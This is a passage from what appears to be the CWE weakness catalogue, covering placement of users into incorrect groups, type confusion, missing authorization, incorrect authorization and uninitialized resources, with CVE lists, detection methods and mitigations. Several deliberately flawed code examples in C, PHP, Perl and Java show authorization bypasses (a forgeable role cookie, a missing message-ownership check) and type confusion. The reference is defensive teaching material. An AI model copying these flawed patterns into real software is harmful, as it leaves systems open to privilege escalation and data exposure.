| CVE-2004-2164 | Shopping cart does not close a database connection when user restores a previous order, leading to connection exhaustion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2164 |
| CVE-2003-0777 | Chain: product does not properly handle dropped connections, leading to missing NULL terminator (CWE-170) and segmentation fault. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0777 |
| CVE-2005-3327 | Chain: Authentication bypass by skipping the first startup step as required by the protocol. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3327 |
| CVE-2004-0829 | Chain: File server crashes when sent a "find next" request without an initial "find first." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0829 |
| CVE-2010-2620 | FTP server allows remote attackers to bypass authentication by sending (1) LIST, (2) RETR, (3) STOR, or other commands without performing the required login steps first. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2620 |
| CVE-2005-3296 | FTP server allows remote attackers to list arbitrary directories as root by running the LIST command before logging in. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3296 |

Notes

Research Gap

This weakness is typically associated with business logic flaws, except when it produces resultant weaknesses. The classification of business logic flaws has been under-studied, although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications.

There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles. Many business logic flaws appear to be oriented toward business processes, application flows, and sequences of behaviors, which are not as well-represented in CWE as weaknesses related to input validation, memory management, etc.

CWE-842: Placement of User into Incorrect Group

Weakness ID : 842

Structure : Simple

Abstraction : Base

Status: Incomplete

Description

The software or the administrator places a user into an incorrect group.

Extended Description

If the incorrect group has more access or privileges than the intended group, the user might be able to bypass intended security policy to access unexpected resources or perform unexpected actions. The access-control system might not be able to detect malicious usage of this group membership.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---------------------------|------|
| ChildOf |  | 286 | Incorrect User Management | 642 |

| CVE-1999-1193 | Operating system assigns user to privileged wheel group, allowing the user to gain root privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1193 |
| CVE-2010-3716 | Chain: drafted web request allows the creation of users with arbitrary group membership. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3716 |
| CVE-2008-5397 | Chain: improper processing of configuration options causes users to contain unintended group memberships. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5397 |
| CVE-2007-6644 | CMS does not prevent remote administrators from promoting other users to the administrator group, in violation of the intended security model. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6644 |
| CVE-2007-3260 | Product assigns members to the root group, allowing escalation of privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3260 |
| CVE-2002-0080 | Chain: daemon does not properly clear groups before dropping privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0080 |

CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')

Weakness ID : 843

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The program allocates or initializes a resource such as a pointer, object, or variable using one type, but it later accesses that resource using a type that is incompatible with the original type.

Extended Description

When the program accesses the resource using an incompatible type, this could trigger logical errors because the resource does not have expected properties. In languages without memory safety, such as C and C++, type confusion can lead to out-of-bounds memory access.

While this weakness is frequently associated with unions when parsing data with many different embedded object types in C, it can be present in any application that can interpret the same variable or memory location in multiple ways.

This weakness is not unique to C and C++. For example, errors in PHP applications can be triggered by providing array parameters when scalars are expected, or vice versa. Languages such as Perl, which perform automatic conversion of a variable of one type when it is accessed as if it were another type, can also contain these issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

|----------|--|-----|-------------|------|
| MemberOf |  | 136 | Type Errors | 2027 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Alternate Terms

Object Type Confusion :

Common Consequences

| Scope | Impact | Likelihood |
|--|---------------------------------------|------------|
| Availability | Read Memory | |
| Integrity | Modify Memory | |
| Confidentiality | Execute Unauthorized Code or Commands | |
| | DoS: Crash, Exit, or Restart | |
| <i>When a memory buffer is accessed using the wrong type, it could read or write memory out of the bounds of the buffer, if the allocated buffer is smaller than the type that the code is attempting to access, leading to a crash and possibly code execution.</i> | | |

Demonstrative Examples

Example 1:

The following code uses a union to support the representation of different types of messages. It formats messages differently, depending on their type.

Example Language: C

(bad)

```
#define NAME_TYPE 1
#define ID_TYPE 2
```

```

struct MessageBuffer
{
    int msgType;
    union {
        char *name;
        int nameID;
    };
};

int main (int argc, char **argv) {
    struct MessageBuffer buf;
    char *defaultMessage = "Hello World";
    buf.msgType = NAME_TYPE;
    buf.name = defaultMessage;
    printf("Pointer of buf.name is %p\n", buf.name);
    /* This particular value for nameID is used to make the code architecture-independent. If coming from untrusted input, it
    could be any value. */
    buf.nameID = (int)(defaultMessage + 1);
    printf("Pointer of buf.name is now %p\n", buf.name);
    if (buf.msgType == NAME_TYPE) {
        printf("Message: %s\n", buf.name);
    }
    else {
        printf("Message: Use ID %d\n", buf.nameID);
    }
}

```

The code intends to process the message as a NAME_TYPE, and sets the default message to "Hello World." However, since both buf.name and buf.nameID are part of the same union, they can act as aliases for the same memory location, depending on memory layout after compilation.

As a result, modification of buf.nameID - an int - can effectively modify the pointer that is stored in buf.name - a string.

Execution of the program might generate output such as:

```

Pointer of name is 10830
Pointer of name is now 10831
Message: ello World

```

Notice how the pointer for buf.name was changed, even though buf.name was not explicitly modified.

In this case, the first "H" character of the message is omitted. However, if an attacker is able to fully control the value of buf.nameID, then buf.name could contain an arbitrary pointer, leading to out-of-bounds reads or writes.

Example 2:

The following PHP code accepts a value, adds 5, and prints the sum.

Example Language: PHP

(bad)

```

$value = $_GET['value'];
$sum = $value + 5;
echo "value parameter is '$value'<p>";
echo "SUM is $sum";

```

When called with the following query string:

```
value=123
```

the program calculates the sum and prints out:

```
SUM is 128
```

However, the attacker could supply a query string such as:

```
value[]=123
```

The "[]" array syntax causes \$value to be treated as an array type, which then generates a fatal error when calculating \$sum:

Fatal error: Unsupported operand types in program.php on line 2

Example 3:

The following Perl code is intended to look up the privileges for user ID's between 0 and 3, by performing an access of the \$UserPrivilegeArray reference. It is expected that only userID 3 is an admin (since this is listed in the third element of the array).

Example Language: Perl (bad)

```
my $UserPrivilegeArray = ["user", "user", "admin", "user"];
my $userID = get_current_user_ID();
if ($UserPrivilegeArray eq "user") {
    print "Regular user!\n";
}
else {
    print "Admin!\n";
}
print "\$UserPrivilegeArray = $UserPrivilegeArray\n";
```

In this case, the programmer intended to use "\$UserPrivilegeArray->{\$userID}" to access the proper position in the array. But because the subscript was omitted, the "user" string was compared to the scalar representation of the \$UserPrivilegeArray reference, which might be of the form "ARRAY(0x229e8)" or similar.

Since the logic also "fails open" (CWE-636), the result of this bug is that all users are assigned administrator privileges.

While this is a forced example, it demonstrates how type confusion can have security consequences, even in memory-safe languages.

Observed Examples

| Reference | Description |
|---------------|--|
| CVE-2010-4577 | Type confusion in CSS sequence leads to out-of-bounds read. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4577 |
| CVE-2011-0611 | Size inconsistency allows code execution, first discovered when it was actively exploited in-the-wild. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0611 |
| CVE-2010-0258 | Improperly-parsed file containing records of different types leads to code execution when a memory location is interpreted as a different object than intended. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0258 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|---|------|------|
| MemberOf | C | 1157 | SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP) | 1154 | 2171 |

Notes

Applicable Platform

This weakness is possible in any type-unsafe programming language.

Research Gap

Type confusion weaknesses have received some attention by applied researchers and major software vendors for C and C++ code. Some publicly-reported vulnerabilities probably have type confusion as a root-cause weakness, but these may be described as "memory corruption" instead. This weakness seems likely to gain prominence in upcoming years. For other languages, there are very few public reports of type confusion weaknesses. These are probably under-studied. Since many programs rely directly or indirectly on loose typing, a potential "type confusion" behavior might be intentional, possibly requiring more manual analysis.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|----------------------|---------|-------|--|
| CERT C Secure Coding | EXP39-C | Exact | Do not access a variable through a pointer of an incompatible type |

CWE-862: Missing Authorization

| | |
|----------------------------|----------------------------|
| Weakness ID : 862 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software does not perform an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|------|---|------|
| ChildOf |  | 285 | Improper Authorization | 635 |
| ParentOf |  | 425 | Direct Request ('Forced Browsing') | 941 |
| ParentOf |  | 638 | Not Using Complete Mediation | 1284 |
| ParentOf |  | 939 | Improper Authorization in Handler for Custom URL Scheme | 1666 |
| ParentOf |  | 1314 | Missing Write Protection for Parametric Data Values | 1965 |

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

| Nature | Type | ID | Name | Page |
|----------|---|-----|------------------------------------|------|
| ParentOf |  | 425 | Direct Request ('Forced Browsing') | 941 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|------------------|------|
| MemberOf |  | 1011 | Authorize Actors | 2142 |

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

| Nature | Type | ID | Name | Page |
|---------|---|-----|-------------------------|------|
| ChildOf |  | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Server (*Prevalence = Often*)

Technology : Database Server (*Prevalence = Often*)

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Application Data Read Files or Directories <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i> | |
| Integrity | Modify Application Data Modify Files or Directories <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i> | |
| Access Control | Gain Privileges or Assume Identity Bypass Protection Mechanism | |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | <i>An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.</i> | |

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner Fuzz Tester Framework-based Fuzzer

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

This function runs an arbitrary SQL query on a given database, returning the result of the query.

Example Language: PHP

(bad)

```
function runEmployeeQuery($dbName, $name){
```

```
mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);  
//Use a prepared statement to avoid CWE-89  
$preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');  
$preparedStatement->execute(array(':name' => $name));  
return $preparedStatement->fetchAll();  
}  
/.../  
$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:

The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that `LookupMessageObject()` ensures that the `$id` argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

Example Language: Perl

(bad)

```
sub DisplayPrivateMessage {  
    my($id) = @_;  
    my $Message = LookupMessageObject($id);  
    print "From: " . encodeHTML($Message->{from}) . "<br>\n";  
    print "Subject: " . encodeHTML($Message->{subject}) . "\n";  
    print "<hr>\n";  
    print "Body: " . encodeHTML($Message->{body}) . "\n";  
}  
my $q = new CGI;  
# For purposes of this example, assume that CWE-309 and  
# CWE-523 do not apply.  
if (! AuthenticateUser($q->param('username'), $q->param('password'))) {  
    ExitError("invalid username or password");  
}  
my $id = $q->param('id');  
DisplayPrivateMessage($id);
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2009-3168 | Web application does not restrict access to admin scripts, allowing authenticated users to reset administrative passwords. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3168 |
| CVE-2009-3597 | Web application stores database file under the web root with insufficient access control (CWE-219), allowing direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3597 |
| CVE-2009-2282 | Terminal server does not check authorization for guest access. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2282 |
| CVE-2008-5027 | System monitoring software allows users to bypass authorization by creating custom forms. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027 |

| Reference | Description |
|-----------------------|--|
| CVE-2009-3781 | Content management system does not check access permissions for private files, allowing others to view those files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3781 |
| CVE-2008-6548 | Product does not check the ACL of a page accessed using an "include" directive, allowing attackers to read unauthorized files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6548 |
| CVE-2009-2960 | Web application does not restrict access to admin scripts, allowing authenticated users to modify passwords of other users. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2960 |
| CVE-2009-3230 | Database server does not use appropriate privileges for certain sensitive operations. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3230 |
| CVE-2009-2213 | Gateway uses default "Allow" configuration for its authorization settings. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213 |
| CVE-2009-0034 | Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034 |
| CVE-2008-6123 | Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123 |
| CVE-2008-7109 | Chain: reliance on client-side security (CWE-602) allows attackers to bypass authorization using a custom client. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7109 |
| CVE-2008-3424 | Chain: product does not properly handle wildcards in an authorization policy list, allowing unintended access. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3424 |
| CVE-2005-1036 | Chain: Bypass of access restrictions due to improper authorization (CWE-862) of a user results from an improperly initialized (CWE-909) I/O permission bitmap https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1036 |
| CVE-2008-4577 | ACL-based protection mechanism treats negative access rights as if they are positive, allowing bypass of intended restrictions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4577 |
| CVE-2007-2925 | Default ACL list for a DNS server does not set certain ACLs, allowing unauthorized DNS queries. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2925 |
| CVE-2006-6679 | Product relies on the X-Forwarded-For HTTP header for authorization, allowing unintended access by spoofing the header. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6679 |
| CVE-2005-3623 | OS kernel does not check for a certain privilege before setting ACLs for files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3623 |
| CVE-2005-2801 | Chain: file-system code performs an incorrect comparison (CWE-697), preventing default ACLs from being properly applied. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2801 |
| CVE-2001-1155 | Chain: product does not properly check the result of a reverse DNS lookup because of operator precedence (CWE-783), allowing bypass of DNS-based access restrictions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1155 |
| CVE-2020-17533 | Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17533 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | View | Page |
|----------|---|------|--|------|------|
| MemberOf |  | 813 | OWASP Top Ten 2010 Category A4 - Insecure Direct Object References | 809 | 2074 |

CWE-863: Incorrect Authorization

| | |
|----------------------------|----------------------------|
| Weakness ID : 863 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. This allows attackers to bypass intended access restrictions.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are incorrectly applied, users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Server (*Prevalence = Often*)

Technology : Database Server (*Prevalence = Often*)

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is distinct from "AuthN" (or, sometimes, "AuthC") which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Read Application Data Read Files or Directories <i>An attacker could read sensitive data, either by reading the data directly from a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.</i> | |
| Integrity | Modify Application Data Modify Files or Directories <i>An attacker could modify sensitive data, either by writing the data directly to a data store that is not correctly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.</i> | |
| Access Control | Gain Privileges or Assume Identity Bypass Protection Mechanism <i>An attacker could gain privileges by modifying or reading critical data directly, or by accessing privileged functionality.</i> | |

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. Even if they can be customized to recognize these schemes, they might not be able to tell whether the scheme correctly performs the authorization in a way that cannot be bypassed or subverted by an attacker.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may not be able to find interfaces that are protected by authorization checks, even if those checks contain weaknesses.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

Effectiveness = Moderate

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

Phase: Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization

frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].

Phase: Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

Phase: System Configuration

Phase: Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

Demonstrative Examples

Example 1:

The following code could be for a medical records application. It displays a record to already authenticated users, confirming the user's authorization using a value stored in a cookie.

Example Language: PHP

(bad)

```
$role = $_COOKIES['role'];
if (!$role) {
    $role = getRole('user');
    if ($role) {
        // save the cookie to send out in future responses
        setcookie("role", $role, time()+60*60*2);
    }
    else{
        ShowLoginScreen();
        die("\n");
    }
}
if ($role == 'Reader') {
    DisplayMedicalHistory($_POST['patient_ID']);
}
else{
    die("You are not Authorized to view this record\n");
}
```

The programmer expects that the cookie will only be set when `getRole()` succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie. However, the attacker can easily set the "role" cookie to the value "Reader". As a result, the `$role` variable is "Reader", and `getRole()` is never invoked. The attacker has bypassed the authorization system.

Observed Examples

| Reference | Description |
|-----------------------|---|
| CVE-2019-15900 | Chain: <code>sscanf()</code> call is used to check if a username and group exists, but the return value of <code>sscanf()</code> call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15900 |
| CVE-2009-2213 | Gateway uses default "Allow" configuration for its authorization settings. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2213 |
| CVE-2009-0034 | Chain: product does not properly interpret a configuration option for a system group, allowing users to gain privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0034 |

| Reference | Description |
|----------------------|--|
| CVE-2008-6123 | Chain: SNMP product does not properly parse a configuration option for which hosts are allowed to connect, allowing unauthorized IP addresses to connect. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6123 |

CWE-908: Use of Uninitialized Resource

Weakness ID : 908

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software uses or accesses a resource that has not been initialized.

Extended Description

When a resource has not been properly initialized, the software may behave unexpectedly. This may lead to a crash or invalid memory access, but the consequences vary depending on the type of resource and how it is used within the software.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|----------|------|-----|----------------------------|------|
| MemberOf | | 399 | Resource Management Errors | 2041 |

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--------------------------------------|------------|
| Confidentiality | Read Memory Read Application Data | |

| Scope | Impact | Likelihood |
|--------------|---|------------|
| | <i>When reusing a resource such as memory or a program variable, the original contents of that resource may not be cleared before it is sent to an untrusted party.</i> | |
| Availability | DoS: Crash, Exit, or Restart | |
| | <i>The uninitialized resource may contain values that cause program flow to change in ways that the programmer did not intend.</i> | |

Potential Mitigations

Phase: Implementation

Explicitly initialize the resource before use. If this is performed through an API function or standard procedure, follow all required steps.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile the software with settings that generate warnings about uninitialized variables or data.

Demonstrative Examples

Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java

(bad)

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl

(bad)

```
$username = GetCurrentUser();
